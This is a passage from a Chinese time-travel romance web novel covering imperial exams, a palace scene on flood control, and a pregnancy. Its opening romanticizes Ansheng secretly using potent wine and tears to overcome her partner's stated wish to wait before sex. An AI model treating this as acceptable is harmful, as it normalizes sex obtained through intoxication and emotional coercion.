安声是深知左时珩酒量的,安和九年,他膝有旧伤,太医建议他睡前服用五加皮酒,不过小小一杯,他便能很快睡沉过去。 那五加皮酒用的酒要比她手上的果酒醇厚许多,这果酒她之前还特意用热水温过,散了些酒性,变得更淡,尝来不觉酒味,只有酸甜,但后劲十足。 左时珩略一犹豫,啜了小口,的确尝不出酒味,也没有醉意,才放了心。 安声微微一笑,未再续杯,只给自己倒,同他闲聊着吃完了饭,才又给他递一小杯,说是解腻。 左时珩不疑有他,饮罢未觉不适,仍神思清醒,但双颊两抹飞上的红晕却没逃过安声的眼。 她收拾了碗筷去厨房,又打了热水进来:“灶已熄了,热水存不了多久,我们洗了便去睡觉。” “好。” 左时珩闻言起身,微不可察地摇晃了下,思维渐渐迟滞,到了脸盆旁,竟想了想,要先打湿帕子还是打湿脸。 安声忍笑,故意道:“先脱去外衣,再挽起袖子,免得湿了身。” 左时珩倍觉有理,一一照做,但不知为何,仍是有水珠顺脖颈滑落而下,让他皱了皱眉。 他觉得自己有些不对,但说不出为何。 安声牵了他手,拉他坐到床上,解开他领口衣襟,用帕子轻拭颈侧,锁骨,胸前。 又问他:“是倦了么?” 他摇头,又点头,纤长的墨睫垂了垂:“似乎有些。” “左时珩。”安声轻喊。 “嗯?”他掀起眼帘,乖乖望着她,一抹绯红从耳廓蔓延到面颊,眼底有淡淡的茫然。 安声捧起他脸,俯身吻他,低声问:“喜欢我这样么?……” 他诚实点头:“喜欢。” 安声笑起来,伸手推他,他仰面倒在床榻上,有些不明白,但下一刻安声温热软香的身躯覆了上来,仍是如方才那般低头吻了吻他,又问:“这样……喜欢吗?” “喜欢。” “骗人。” 左时珩蹙眉,着急向她解释:“我何时骗你?” “你若不是骗我,怎么每次都不主动亲我?” “我……” 似是为了证明,左时珩翻身将她压在底下,阴影投落,宛如一张网罩了下来,安声如一条灵活的鱼儿跃入网中,还要装模作样地挣扎一番。 左时珩那有力的小臂稳稳托起她柔软腰肢,将她禁锢在怀,携三分酒气的呼吸洒落,眸中早已不清不白,他目光从未有一刻从她脸上离去,就这般低头吻上她唇,虽然醉了,却很温柔。 他一直吻她,这是个很绵长的吻,仿佛将岁月无限拉长,两个人齐齐化作星光,散落在时间长河里荡漾。 既不像初次时蜻蜓点水的无措,也不像后来霸道强势的占有,而像是一个晴朗无风的温暖午后,他们相偎在一起那样寻常,那样本该自然发生的事。 他对安声的情欲安声一直都知道,但他太年轻,年轻到还无法从容处理这些旖旎心思,纵然爱她,却不知如何最好的爱她,才因怕伤了她而不愿更进一步,仿佛在他有能力建起一座坚固堡垒前,总要为她留出一条退路似的。 安声不想要这条退路,她本就没有退路,也无须退路,她做下选择时,就已是一往无前,绝不回头。 但她可以强迫左时珩抱她吻她,却无法强迫他占有她,他太理智,无论如何情动,也绝不会彻底失控。 她原先想,她也不是不能等,等到他状元及第,正式迎娶她后,万事俱备,再水到渠成。 但她发现,她高看了自己,她对左时珩的渴望也并不亚于他对自己的渴望,若她是第一次遇见左时珩倒还罢了,但她与他已有过那么美好的夫妻生活,她也变得贪心了。 每个人都该正视自己的欲望不是吗? 她前日买酒时,就在为今日准备,一杯清淡果酒不足以让他醉去,但却能干扰他的理智,让他无法始终保持清醒。 人在面对巨大诱惑前,挣扎往往只在一瞬。 “左时珩……”她伸手抱住他脖子,闭着眼,在唇齿交缠间低唤他名字。 他的吻愈发深入,愈发缠绵,为欲望而支配,沉溺在她的气息里,不仅吻她的唇,也吻她额头,眉眼,鼻尖,脸颊,酒精的催化让他大脑混沌,迟于思考。 每当他有停下的趋势,安声便又会给他更深的回应,将他拽入幻梦般的深渊。 她允许他,引导他,仰起修长玉颈,让他的吻顺理成章的落下,再继续向下蔓延,轻轻舔舐在白皙精致的锁骨处,如同四处点火。 安声勾住他肩背,柔软细腻的手掌柔弱无骨似的,滑入他衣襟之下,轻轻一挑,便褪去了,掌心紧贴他被汗濡湿的紧实肌肤之上,几乎毫无阻碍地感受到肌肉下那一份蓄势待发的力道。 衣裳落下的那阵清凉让左时珩清醒几分,他垂眸皱眉,隐约意识到自己正在做一件荒唐的事,安声欲打断他的思考,抓住他的手剥落自己肩上的小衣,然后抱紧他,在他耳畔亲了一亲。 “别这样停下……左时珩……” 左时珩抱她坐起,在她肩头落下一吻,而后将她衣裳拉好,嗓音沙哑发沉:“再等等……如何?” 安声未应他,沉默片刻,竟趴在他肩上低低啜泣。 左时珩心慌意乱,忙松开她。 安声软软倒在枕上,散发遮脸,双肩瑟缩。 “阿声……”他立即俯身,轻轻拨开她发,见她一张芙蓉面,眉峰若蹙,似娇非嗔,见他望来,一滴清泪缓缓滑过眼角,让人心尖发疼。 “不要管我了……” 安声侧首,将脸埋在枕间呜咽。 左时珩脑海嗡鸣一声,本就醉意发散,如今哪里还能思考,仅有的几分清醒统统遁走,他好像犯下了弥天大错,才让阿声这般委屈,一时自责歉疚纷至沓来,低下头,捧了她脸,吻去她眼尾泪痕。 “左时珩,我……” 她的话还未说完,左时珩的吻又再次落了下来,一个更深更重的吻,连同她所有未尽的话一同吞没,而积压已久的欲望却在此刻决堤,爱意如潮,汹涌滔天。 他掀起被子将两人遮盖,贴身衣物掠走部分体温被丢到床下,被子下的胴体却处于更滚烫的炽热中。 安声仿佛被黑暗淹没了,烛光早已隔绝在外,左时珩宽阔的胸膛,有力的手臂,构成了她全部的世界,她闭上眼,被他吻着,亦吻着他,感官在此刻变得极度敏锐,欲望与渴求如同火星迸入荒原,随风漫成一片火海,熊熊燃烧。 她被烧得化了,同他融为一体,再无任何距离。 寒夜静谧无声,弯弯细月逐渐西移,唯有烛火轻晃,燃至一地红泪- 左时珩回房好几次,安声都还睡着,他不由坐到床边,摸摸她脸,柔声哄:“再不起,饭都要凉了。” 安声掀了掀眼,惺忪道:“我好累啊……起不来……” 左时珩凑近,抵着她额蹭了蹭。 “都是我的错……我买了药膏,待会儿替你擦上。” 安声艰难挪动,趴在他怀里:“再替我揉一揉腰……又酸又胀。” 她一片雪白肩背露在左时珩目光下,细腻肌肤上多了好几处红痕,白雪红梅般乍眼。 左时珩愈发愧疚心疼,叹了口气,拽了被子将她裹好,手伸进去在她腰上按揉。 “啊——嘶——” 酸胀感让安声又想喊又想笑。 “左时珩,你……你下次温柔点,太用力了。” “好……”左时珩耳尖发红,“下次绝不会再喝酒了。” 安声低笑几声,抬头看他一眼,又趴下去,环住他腰。 “也可能是我月事快到日子了,所以腰酸。” 不过她觉得到底是左时珩太年轻,又是初回,不知轻重,到后来愈发是情难自控,吻遍她每一寸,还轻轻啃咬,兴之所至更是疾风骤雨,在她的吟声中险些迷失。 左时珩打来水给她洗漱擦脸,淤青处上了药,安声享受着他的体贴,又在他怀里腻歪了会儿,才去吃饭。 眼见到了年底,除夕这日,左时珩将小院里里外外上上下下打扫了一遍,安声则将春联窗花等各种装饰全部挂上,整座京城都热闹起来。 不过热闹中却也有一丝压抑,如同上空的阴云。 张为是对此担忧,道皇上病重,据说已是两月没有上朝,一直是太子主持朝政,都说年关难过,不知能否捱到明年,又是否会影响二月会试。 担忧归担忧,于他们考生而言,却是无能为力,只能顺应时局动荡。 安声说皇上吉人自有天相,必能顺利度过年关。 张为是只当她说吉利话,便笑着附和两句。 除夕夜,安声与左时珩早早用了年夜饭,点起炉火,依偎坐着,裹一张毯子,听着外面时不时传来的烟花爆竹之声。 年节里夜市张灯结彩,热闹非凡,但他们今日累了一天,安声不想出门,便拉着左时珩窝在家中取暖守岁。 过了凌晨,听打更人梆子响了几下,喊着“天干物燥,小心火烛”,两人才将炉火搬回房中,相拥睡去。 翌日一大早安声与左时珩便起了,向一块从相国寺请来的“天地君亲师”牌位跪拜上香并烧了纸钱,供上瓜果糕点。 左时珩凝视牌位良久,又将一副亲手写的挽联烧了才罢。 安声透过燃起的烟灰望他,也将自己写的一封信丢进去一同烧了,然后双手合十,礼貌道:“谢谢。” 左时珩笑了下,好奇:“怎么突然谢上?信上写了什么?” “不能告诉你,这是我与公婆的悄悄话。”安声笑道,“至于谢什么倒是可以说,谢谢二老让左时珩出生在这个世界上,也谢谢上苍让我与左时珩相遇。” 左时珩静静注视着她,眸中蕴着温和浅笑。 阿声她总能轻而易举将情话表露于口,将他一颗心撞的柔软不已,嵌入他一身骨血,三魂七魄,再难分离- 无论朝廷有怎样传闻,也难掩过年氛围,官府不禁,京城照例是热闹欢乐的,四处开了灯市,仙女灯,兔子灯,莲花灯等,凤箫声动,玉壶光转,流光溢彩,还有巨大的金鱼灯悬在半空,夜色下如活鱼空游,令人流连。 左时珩与安声也相携逛了夜市,听书喝茶,看把戏杂耍,纵然家中买了好些吃食,每回出门也依然满载而归。 大年初一,百官朝贺,无数奏表纷纷递入宫中,各府也都得了赏赐,到了初四,皇帝终于上了早朝,虽是病容消瘦,却也不是迟暮之兆,文武百官皆放了心,京中关于会试的流言也暂时平息。 初四一过,天再次冷了下来,大约有雪降临。 安声与左时珩又坐了马车去了趟城外,但老乞丐恰好外出不在庙中,于是他们只得留下东西折返。 初六那日,晨起开始刮风,到下午风停了,开始飘起小雪,轻盈若柳絮。 左时珩煮了奶茶来,坐到脚榻上,将倚着炭盆取暖的安声揽入怀中,关切问:“果真不用找个大夫来?” “不用,月事推迟也是正常的事。”安声端着杯子喝了口,口舌生津,不由满足,“不是很甜,我喜欢。” 左时珩便笑:“不是很甜是几分甜?” “五分。” “那很甜呢?” “很甜是七分,很腻是十分。” 他低笑,揉她的发:“连标准也独一无二。”又伸手,温热手掌在她小腹处轻轻按揉:“若是不舒服,一定要跟我说。” 安声笑说知道,仰头将携着奶茶香味的吻印在他唇上。 一夜过去,雪渐渐下大,天地皆白,成了琉璃世界。 左时珩早起扫去门前的雪,又生起火,点了炭盆放到卧房里,天一冷,安声便爱赖床,有时也抱着他不许起,不过他早起惯了,略陪她躺一躺,便起来忙碌。 张为是这两日也没来打扰,先是过年走亲访友,四处拜年,又是上香拜佛,打听消息,最后趁这场大雪闭门苦读。 二月中旬便是会试,因此年一过,京城热闹轻松的氛围倏地淡去,变得焦灼紧张起来。 小院里只有左时珩与安声两人,左时珩便将笔墨纸砚搬回卧房,临窗而坐,安声则在一旁刻木头,有时无聊或累了,便坐到他旁边,看他读书写字。 还有时候,她会去厨房拿来红薯,架一铁片在炭盆上,将之放到上面去烤,烤了半日直到耐不住性子,才听见左时珩落下的一声笑。 “你这不若说是烘干,一天一夜估计也熟不了。” 她抬头,怪他:“你怎么不早点提醒我。” 左时珩语气无辜:“冤枉啊,我亦不知你本意是烘还是烤。” 安声笑了声,将红薯丢到一旁:“罢了,烘得它口干舌燥,我也口干舌燥了。” 左时珩便将铁片挪开,用火钳拨开草灰将红薯丢进去盖上,上面压上炭,笑问她:“几岁了?我不叫你喝水就总忘了喝水,在炭盆旁烤了半日,这会儿才想起来口干。” 安声道:“我不是忘了,我是懒。” 没有饮水机,水壶也不如现代的保温,水只能温在灶上,但炉火熄了,草木灰冷了,便也慢慢冷了,她不想为了一口水重新烧火。 左时珩起身收拾了纸笔:“幸好我不懒,否则阿声与我在一起连口热水都喝不到,弃我而去怎么办?” 安声跟在他身后往厨房去,一路笑道:“幸好有左时珩在,否则连口热水都喝不到的安声,只能在冬日安眠安息了。”- 进入二月,天总算放晴,不过还是一样的冷。 会试开始于二月初九,共三场,每场三天两夜,共九天六夜。 这日内城东南角的皇家贡院,数万名考生鱼贯而入,提着考篮,里面放着笔墨砚台、食物、水、蜡烛,还有御寒的衣物毯子等,在经严格的搜身检查后进入简陋考舍,进行一场决定命运的严峻考验。 左时珩出发前,安声还给他准备了更多,将考篮塞得满满的,包括一些药物,甚至想放床被子进去,奈何实在放不下。 左时珩摇头笑道:“只是几日而已,不必紧张。” “可张为是说了,考舍环境很差,只有一个床板,还漏风,这两日冷成这样,你吃住都在里面,若是生病怎么办?” “我自小身体很好,没那么容易生病,我不在这几日,你安心在家等我回来,若是不想生火做饭,就白日买了回来,放在炭盆上温着,夜里不要出门,若有外人敲门,不管是谁都不要开,知道吗?” “知道。” 左时珩叹了口气,又将她拥入怀中:“你一人在家,我真放心不下。” 虽住在东街,流民乞丐之流少了许多,但到底不是绝对安全,他们夜间睡觉,有时也听见过外头呼喝吵嚷,打架闹事,他们贴于门上的春联窗花,也都在年后两日就被人揭走了。 安声踮起脚在他唇上亲了亲,弯起笑眼:“你担心我我担心你的,两个人都不能安心,你放心考试,我绝对会照顾好自己,你也是,若是考完我发现你着了风寒,我要找你算账的。” 左时珩笑应:“好。” …… 自安声过来,还从未与左时珩分开过,他不在的这几日,安声寝食难安,夜里被子都冷冷的,也睡不好。 纵然她早知结果,穿越并不会改变一个人的才华,但依然会为此紧张,仿佛自己重回了高考那日。 她自己高考那日,考场外有许多家长送孩子过来,焦急等完全程,再接了孩子回去,她则是一人来,一人走,无论是她出差的父亲,还是她照顾生病小妹的母亲,都忘了她那几日高考,或者说,并不在意。 最后一日她走出考场,回了外婆家,对着外婆的遗像大哭了一场,和外婆道歉,说她会考去很远的学校,大学四年离家远远的,只有过年才能回来看她。 如今,她望着院里那株亟待发芽的海棠,长呼了口气。 时光荏苒,那些事似乎过去许久许久,久到她从一个无人在意的小孩变成了大人,有了在意的人,也被人视若珍宝的在意。 她在这样的焦灼中等了九日,终于等到院门大开,举子们潮水般涌出,每个人都是满身疲倦,面上表情不一,或面如死灰,或难掩喜悦,又或双眼麻木。 安声的目光越过拥挤的人群,定格在那张平静温和又年轻英俊的容颜上,扬起明媚的笑,小跑着迎上去。 “欢迎回家,左大人。” 第54章 放榜 二月十九,贡院正殿内灯火通明,收掌官整理完毕全部考生试卷,连夜进行弥封,隐去所有考生信息后,随即招了上百名誊录官进入,加紧用朱笔誊抄原卷。 夜深霜重,大殿内百余人,无一人说话,除偶尔响起一两声低低惊叹外,唯有落笔与翻卷声不绝于耳。 几日后,几万份朱卷被送到同考官手中分房审阅,这些曾经从会试中脱颖而出的佼佼者,提一支朱笔,在卷上写下“荐批”或“落卷”,掌握着无数后来者的命运。 初审结束,数万考卷仅余几百之数被送到主考官手中进行最后裁定,无论十年寒窗默默苦读,还是天之骄子年少成名,皆在此时有了定数。一朝登科者有,几度落榜者更是不知凡几。 这届科考的主考官是弘文阁刘良大学士,曾任过帝师,如今还是太子太傅,满腹经纶,德高望重。副主考两位,分别是工部尚书苏博以及吏部侍郎杜杰溪。 关于几位考官的信息,京中早有传闻,提前拜谒的考生数不胜数,不过基本都吃了闭门羹,张为是张大人也去碰了运气,结果自然是碰壁而归,如今结果落定,等待张榜,心中不由焦灼万分,食不下咽,睡不安寝,一日要来左时珩这里几回。 左时珩相较之下,实在淡然得过分了,对他来说,急也无用,会试并非一朝一夕的成果,而是数年十数年的笔墨心血,毕其功于一役。 再次送走张为是,左时珩将门关上,转身见安声倚门轻笑:“这个张大人,看来是真着急了,天天找你来对答案,若得了你的肯定,他心里才安,既将你当考神,那怎么不在考前拜你一拜,说不定沾点你的文曲运。” 左时珩摇头笑笑:“我也不过有什么答什么,哪有确定答案。” 说着已上前,牵了安声的手回房,问她:“最近月事可来了么?” 安声摇头。 他皱眉:“怎么推迟许久?当真是正常的?” 安声想了一想,目中隐隐期待,扑入他怀中笑:“嗯,正常的。” 她月事已有两个月没来,心中有些推测,但时间尚短,也不敢说破,到了三个月才能真正确定,便不欲提前告知左时珩,以免空欢喜。 转眼便是二月底,临近放榜,礼部衙门前日日都有心焦的考生徘徊,终于,三月前一日,礼部衙门前特设的榜墙上,张挂起巨幅黄绢,其上榜文写有皇帝诏旨,主考官名姓官职,录取总数,往下便是上榜考生姓名依次排列,称为“贡士”,共有三百一十一之数。 当日京中万人空巷,榜前人流如潮。 有人欣喜若狂,大喊大叫,有人痛哭流涕,跪地不起,也有人唉声叹气,掩面而去,更有甚者不知是喜是悲,直接晕厥倒地,当真一日之间看尽世间百态。 在张榜之时,一份同样的榜文业已送至乾午宫内殿皇帝寓所,并经官驿传至各州、府、县衙门,与当地张榜公示,昭告天下。 太子在乾午宫前候了一刻,内侍方才出来,恭敬道:“殿下请进吧。” 太子颔首,提膝迈入殿内。 皇帝起居处有张临窗的御榻,榻上置有小桌,皇帝正披衣倚窗,借一缕天光细看那张榜文,待太子进来后,他免去礼数,招了儿子坐于对面,将榜文递给他,正要开口,先咳了起来。 太子立即起身,皇帝摆了摆手,内侍端来药茶一盏,太子服侍了皇帝饮下,这才见皇帝脸色好些。 他不禁红了眼眶,唤一声“父皇”。 才过了个年,父皇便已是瘦骨嶙峋,双颊凹陷之态,比半月前所见虚弱得多。 皇帝清了清嗓,让他坐下,笑道:“我的身体我自己知道,熬一日算一日,若少费心劳神,还能多活点日子。如今会试张榜,这些贡士都是将来国家的人才,朝廷的栋梁,也是你的臣子,所以殿试呢,父皇就交给你,他们……” 他敲了敲榜上的名:“皆是你的门生啊。” 太子再度起身,躬身领命,不过沉默片刻,又忍不住以袖掩面,拭去泪痕。 “出息。”皇帝道,“三十好几的人了,哭哭啼啼的像什么话,朕又不是立即死了。” “儿子羞惭。” “你这幅样子若叫那帮文官御史见了,不知背后怎么笑话你,他们言辞如刀,对我也不留情的。”皇帝笑了声,握住儿子的手,语气温和下来,目光亦是慈爱,“选些真正有才学的人吧,不要那些空谈误国之辈。” 太子亦握紧父亲的手,恳切道:“求父皇教导。” 皇帝思忖片刻,深深叹了口气。 “我这一生,有一大憾事,太永七年,黄河决口,淹了三府共二十几个州县,淹死的百姓高达数十万,流离失所者不计其数,当地奏报上说,屋宇尽塌,尸浮如萍……” 皇帝淌下浑浊的泪,视线转向窗外,仿佛越过四方高墙,投向千里之遥。 “那年千万亩良田全数被淹,粮食绝收,洪水退去后,饥荒与瘟疫齐齐爆发,幸存的民众死去又不计其数,受灾最重的两府许多州县近乎成了空城……他们说,是朕德行有亏,才让上天降下神罚,那时朕写了罪己诏,但因不敢成为千古罪人被后世戳脊梁骨,最终又独自烧了。” 太子忙道:“天灾非人力可阻,当年父皇开了国库,拨款调粮救灾,又免了受灾州县五年赋税,仁政如此,已是千古明君。况且黄河改道决口,自古有之,水患无常,实难根治,岂可归咎于父皇?” 皇帝摇头:“黄河治理难,不治理更难,当年黄河泛滥,夺江入海,直到如今这些经由的州府都存了隐患,每逢汛期,必要受灾,若是再遇大灾……太子你记住,将来登基,你首要事便是治理黄河,此紧要事利在当世,功在千秋,也算代你父皇赎一赎罪吧。” 太子心中一凛,应声不迭- 安声左挤右挤,总算挤入人群,到了榜前。 左时珩则在身后护着她,生怕她被人撞到,勉强也站到了前排,好在他们来得晚,这会儿人已退去许多,不至于像上午那般摩肩擦踵。 “左时珩!你上榜了!” 下一刻,安声兴奋地尖叫起来。 纵然这是个意料之中的结果,安声依然难掩激动,指着杏榜上第六位的名字:“在那里在那里!” 一时周围人纷纷将视线投来,见这排名前列的举子不但一表人才,气质出众,竟还如此年轻,均不禁发出惊羡之声,连声道贺,围拢过来,问他户籍,企图攀上同乡情谊。 还有人高声询问左时珩是否婚配,欲榜下捉婿,惹得众人大笑,随即接连不断附和起来,道自己女儿如何如何好的,还有些人则感慨自己没有生个女儿,只能望洋兴叹。 左时珩一一拱手,礼貌道谢,护了安声在身侧,向那头一个询问他亲事的人定声道:“抱歉,在下已有家室。” 两人回小院时,张为是也刚回来,还未进门。 安声站在门前拱手道贺,笑道:“哟,这不是张大人吗?” 方才看榜时,她也找了张为是的名,赫然在上,排在一百多位。 会试张榜,虽还不是殿试最终的金榜,却基本已确定进士身份,只待殿试排出一二三甲罢了。 张为是满脸春风得意,掩不住喜悦,先是朝左时珩一大贺,随即朝夫妻二人还礼。 “……多谢贤弟不吝赐教,多谢弟妹金口玉言。” 安声问他是否也是看榜回来,他们方才并未见到他,他却摇头,微微一笑,并未解释,随后大摇大摆地进了家门。 安声与左时珩对视一眼,不知他故作什么神秘,但片刻后,他们便知道了。 铛铛铛—— 几声响亮锣音由远及近,一路朝这边而来。 安声赶紧开门探身,见一少年手执锣鼓,边走边敲,大声喊道:“恭喜张为是张老爷高中第一百二十六名贡士!恭喜张为是张老爷高中第一百二十六名贡士啦!” 其喊声清亮,口齿清晰,一时长锦坊附近人家皆开门走出来看,眼睁睁见那少年走到张为是院门前,喊得愈发卖力兴奋。 张为是不慌不忙地开了门,给了赏钱,那少年接过,大喜,又蹦蹦跳跳往回,边敲锣边喊着跑远了。 紧接着,围观的邻居都聚拢过来,满脸欣喜地朝张为是道贺,门前立刻水泄不通,热闹非凡。 见张为是笑着要往对门示意,左时珩眼疾手快地拉了安声进来,将门关上。 安声盈盈一笑:“怎么了左大人?不习惯这种场面?不如我也去找个报录人来,替你满京喊一圈吧?” 左时珩在她鼻尖上点了一点,颇为无奈:“还嫌榜下那会儿不够热闹?” 在他说了已有家室时,竟还有人荒唐地问他要不要妾室,让他一阵无语,偏伶牙俐齿的阿声这会儿倒乐于旁观,不帮他说话,他几乎是拽了她慌不择路地从人群逃走,才勉强脱身。 安声眼里噙了狡黠的笑:“谁叫左大人才貌双全,年轻有为,忽然成了香饽饽,我也无甚办法呀,只能做一个贤妻,默默不语了。” 左时珩不知该说什么,便俯身将她抱起,径直往屋里去。 安声吓了一跳,忙搂住他脖子,笑道:“哇,左大人好霸道啊。” 左时珩大步流星进屋,抱她在床边坐下。 “我想了想,仍是不放心你身体,下午去请个大夫来替你看看如何?” 安声眨了眨眼,这话题未免转得太快了吧。 见她懵怔,左时珩摸了摸她头发,将她揽入怀中,落下一个轻吻,语气温柔缱绻:“阿声,我想,我们应当有个孩子了。” 安声眼皮跳了跳,险些以为他已猜到了,但看样子又不是。 顿了顿,她笑:“是两个。”—— 作者有话说:抱歉,出去玩了,回来很晚[小丑]下次加更 第55章 知晓 安声没让左时珩请大夫,也拒绝了他晚上的亲密,让他大为不解。 安声在他唇上辗转片刻,低低笑道:“先前如何都不愿,如今倒是主动。” 左时珩叹了口气,将她深拥在怀,嗅闻她发间香气。 “阿声……” 安声伏在他肩上,轻声道:“等你殿试后我告诉你一件事。” 殿试于三月十五在太和殿举行,殿内上设御座,下设考桌,由皇帝亲自出题,考生策文应答,日落前交卷。 因皇帝龙体欠安,太子代为主持此次殿试,故而无论考生亦或官员,皆心知肚明,这一届进士将是新的天子门生。 众人在殿内束手而立,闻得脚步声清晰响起,转至上方御座,随即听鼓乐齐鸣,礼部官员呼之行礼,待一切完毕后,所有贡士才第一次瞻仰了东宫之主未来圣上的龙颜。 太子目视下方,道黄河乃天下大防,禹疏九河,水患仍频,自古至今,黎庶受难不息,君父与东宫宵旰焦心,忧虑甚深。丘朝定鼎久矣,帑金巨万,修防不辍,然决堤之患,间或有之,但逢灾年,千万亩良田尽数化作泽国,实忧心痛心,故此,向尔诸士求一长治久安之策,请众人尽抒几见。 太子言罢,礼部官员发下题纸,众考生行礼端坐后,纷纷提笔沉思。 大殿之内氛围肃穆,太子与一礼部官员轻声交谈了几句,目光逡巡,忽注意到,所有人还在苦苦思索之际,一位年轻考生已然落笔,神态从容,似胸中有丘壑。 他不禁好奇,步下龙阶,状似不经意地从第一位考生那儿开始看起,慢慢踱步至左时珩处。 他每在一考生桌旁驻足,考生大多紧张不已,冷汗涔涔,即便原先在写的一句也要停一停顿,偏是那位全场看起来最年少的贡士,似完全无视了他,一心专注于文章。 太子目光倾落,尚未关注他文章的内容,便率先被一手极漂亮的字吸引住,若非正在殿试,他只怕要不由自主赞叹出声,不曾想这届考生中,竟有写得一手好字,堪比大家之人,还如此年轻。 他不禁驻足良久,直到礼部官员轻咳提醒,方才佯装淡定,继续往其他考生那儿巡视。 左时珩走出宫门时,离日落为时尚早,他早写完早交卷,便早走了。 走出一段,有人喊他,转身,原来是张为是。 张为是不知是跑的还是未从方才殿试中缓过神,脸色微微涨红,不过目光发亮。 他攀了左时珩的手,左右环顾,继而笑道:“左贤弟,托你的福啊,真是托你的福。” 左时珩不解其意。 张为是说此次殿试内容是如何治理黄河水患,他自海边长大,离黄河泛区很远,所知不过一些前人旧例,以及书本上的释注,但他出身工程世家,家中三代都给官府修过海塘防洪堤等,对工程上的事多少有些了解。之前与左时珩结识,二人常就各种时政民生问题讨论不休,他便也从左时珩这里更深地了解了黄河之患,因此今日殿试时,两相结合,触类旁通,一下思如泉涌,洋洋洒洒写了千字,也早早交卷了。 左时珩笑道:“是你才学渊博,就不要往我脸上贴金了。” 张为是拉他不放:“话不能这么说,你要知道失之毫厘谬以千里,若非我从你这知晓更多,又如何将我所知融会贯通,言之有物?这样,等尘埃落定,我在同庆楼设宴,专门请你和弟妹吃一顿,不许拒绝。” “我须回家问一问夫人,届时再说罢。” “嗨呀,吃个饭怎么还要问?” “自然要问,毕竟我与她夫妻一体。”左时珩笑了笑,“时候不早,我不与你说了,还有要事。” 张为是不信,只当他敷衍推辞:“今日殿试,你能有什么要事?” “去南街曹记买只烧鸡。” 左时珩拂袖远去。 张为是:“……”这就是要事? 罢罢,民以食为天- 安声近来食欲有些不佳,除此之外,别的反应倒还没有,只是吃的略少,但这足以让左时珩忧心,他总能第一时间察觉到她的异常。 昨日睡前她随口一提,说想吃曹记烧鸡,自己都忘了,没想到左时珩竟在殿试结束后却还记得,专门去了趟南街买回,一时惊喜得不知说什么,扑过去踮起脚亲他下巴。 左时珩单手抱着她:“吃了这个还要吃饭吗?” “看我心情。”安声笑着接过,解开油纸,里面是用荷叶包好的半只鸡,一打开便香味扑鼻。 但不知为何,平日觉得让她食欲大增的味道这会儿却忽觉油腻非常,随空气漫入肺腔时,一阵作呕,忙捂了嘴跑去净室。 “阿声!”左时珩惊到,跟着跑去,忙为她抚背,“哪里不舒服?” 安声干呕了几下,又吐不出什么,遂摆一摆手,接了清茶漱口。 但她回到房中,闻到愈发清晰浓郁的烧鸡味时,又再次犯了恶心:“左时珩……把那个烧鸡拿开。” 左时珩将烧鸡包好,放去了厨房,匆匆返回。 安声坐在脚榻上,手臂交叠在膝上,埋在臂弯里。 左时珩脚步一顿,定定望着她,眸底泛起心疼,她这般蜷缩起来,仿佛很是无措,让他心里既慌又乱,立即坐到她身边去,将她抱在怀里低哄:“阿声,我们去看看大夫好不好?” 小小一个温软身躯,几乎全然淹没在他怀中,愈发娇弱得让人怜惜,恨不得将她揉碎在骨血中,却又怕稍一用力,就弄疼了她。 安声抬头,见左时珩垂眸望她,满是忧色,眼尾泛起绯红,眸底也隐有潮意。 她也忽然心疼起来,向他歉声:“左时珩对不起,让你担心了。” “阿声……”他微微用力,将她抱得紧紧的,低头轻轻蹭她的脸,气息温柔倾洒,交织缠绕,“不必道歉,我只要你好好的在我身边。” 他埋在她颈间,呼吸轻颤。 他早已离不开她,此生都不能,哪怕一时一刻见不到,亦思念入骨,因此他实在无法接受一丝一毫的意外。 安声在他耳后摩挲安抚,温柔笑道:“左时珩,请个大夫来吧。” 大夫来时,已是暮色四起,附近住的精于妇科的大夫极少,左时珩特意跑了很远才请人上门,三月的天,到家大汗淋漓,浑身湿透。 他顾不得收拾自己,立即陪同在侧,静观大夫给妻子把脉,难掩紧张,纵然呼吸急促,却不得不强行屏息,生怕惊扰了大夫判断似的。 安声见状,轻轻握了他手,探得一片冷汗。 大夫凝神静气,手指轻搭在安声腕上“寸、关、尺”三脉,半晌,点头微笑。 “夫人脉如滚珠,往来流利,此乃滑脉。” 安声当即心定。 左时珩尚不知滑脉是何,欲言又止,却听大夫又问起安声经期食欲等表现,安声一一答了。 大夫点头,笑容不减:“如此,便能确定了。” 左时珩急问:“确定什么?是什么病症?为何不直言说明?” 大夫惊诧,见安声笑得促狭,便知其尚未将有孕一事向丈夫坦明,故也不说,只道夫人身体无碍,六脉调和,往后静养观察即可,切忌惊劳寒热,随后方子也未开一个便离去。 左时珩如雾中观花,似懂非懂,不过一句“身体无碍”总算让他松了口气,连日来始终悬着的一颗心落了地。 安声握了左时珩发凉的手,用帕子拭去冷汗,又替他擦脸,被他攫住手腕,一眨不眨望着。 安声同他四目相对,眼底铺开灿烂的笑:“左时珩啊左时珩,你这么聪明一个人,怎么还不明白呢?” 她拿了他手放到自己小腹上,柔声细语:“我们有孩子了。” 左时珩浑身一震,神情呆住,脑中思绪百转,竟忘了言语,而眼尾红晕已蔓延开来。 他垂眸看去,抚摸着安声小腹的那只手仿佛捧着贵重珍宝,小心翼翼,不敢擅动毫分。 安声见他这般,噗嗤一声笑出,双手覆在他手背上:“左时珩,你是笨蛋吗?这是我们的孩子,不是炸弹。” 左时珩弯起嘴角,眸子渐渐明亮,透出澄澈笑意:“阿声……” 他藏不住雀跃,连忙追问:“阿声,你果真是说我们有孩子了吗?” 安声歪头一笑:“是啊,我说了。” 左时珩立即扶她在床边坐下,万分小心,珍而重之,将她当作琉璃一般。 安声笑着,也顺势拉了他坐下:“我难道怀了孕就成了面团捏的了?碰也碰不得?” “我……我不知……”他有些无措,又忍不住笑起来,眉目舒展,“我们竟有孩子了,阿声,是我们的孩子。” “嗯,你摸一摸。” 左时珩将手搓热,郑重地轻抚安声小腹。 片刻,安声问:“可感觉到了什么?” 他蹙眉:“什么动静也没,会不会他不喜欢我?”语气听来还有些委屈。 安声捧起他脸亲一亲,笑道:“完啦,左时珩真变成笨蛋了,才三个月,孩子还没你拳头大,如何就能回应你呢?至少要再过一个月。”—— 作者有话说:大家冬至快乐![烟花][烟花][烟花] (虽然这个作者在冬至出去玩,吃火锅,回来晚,但是她不忘更新,没有请假,是一个好作者[小丑][求求你了]) 第56章 婚事 左时珩似乎对“父亲”这个身份适应得没那么快,在喜悦之余,还有些过分紧张。 譬如,他晚上沐浴时,但凡听见外面的动静,必要问一声“有何事”,连连问的安声冲进去将帕子丢他脸上,失笑:“你好好洗澡吧,哪儿那么多操心的。” 又譬如,他睡觉时抱安声总不敢用力。 夜里安声翻了个身,像往常那般钻到他怀里,他却不像往常那样揽她后腰,将她按入怀中,而是屈了腿,往后挪了半分,然后在安声后背安抚地拍一拍。 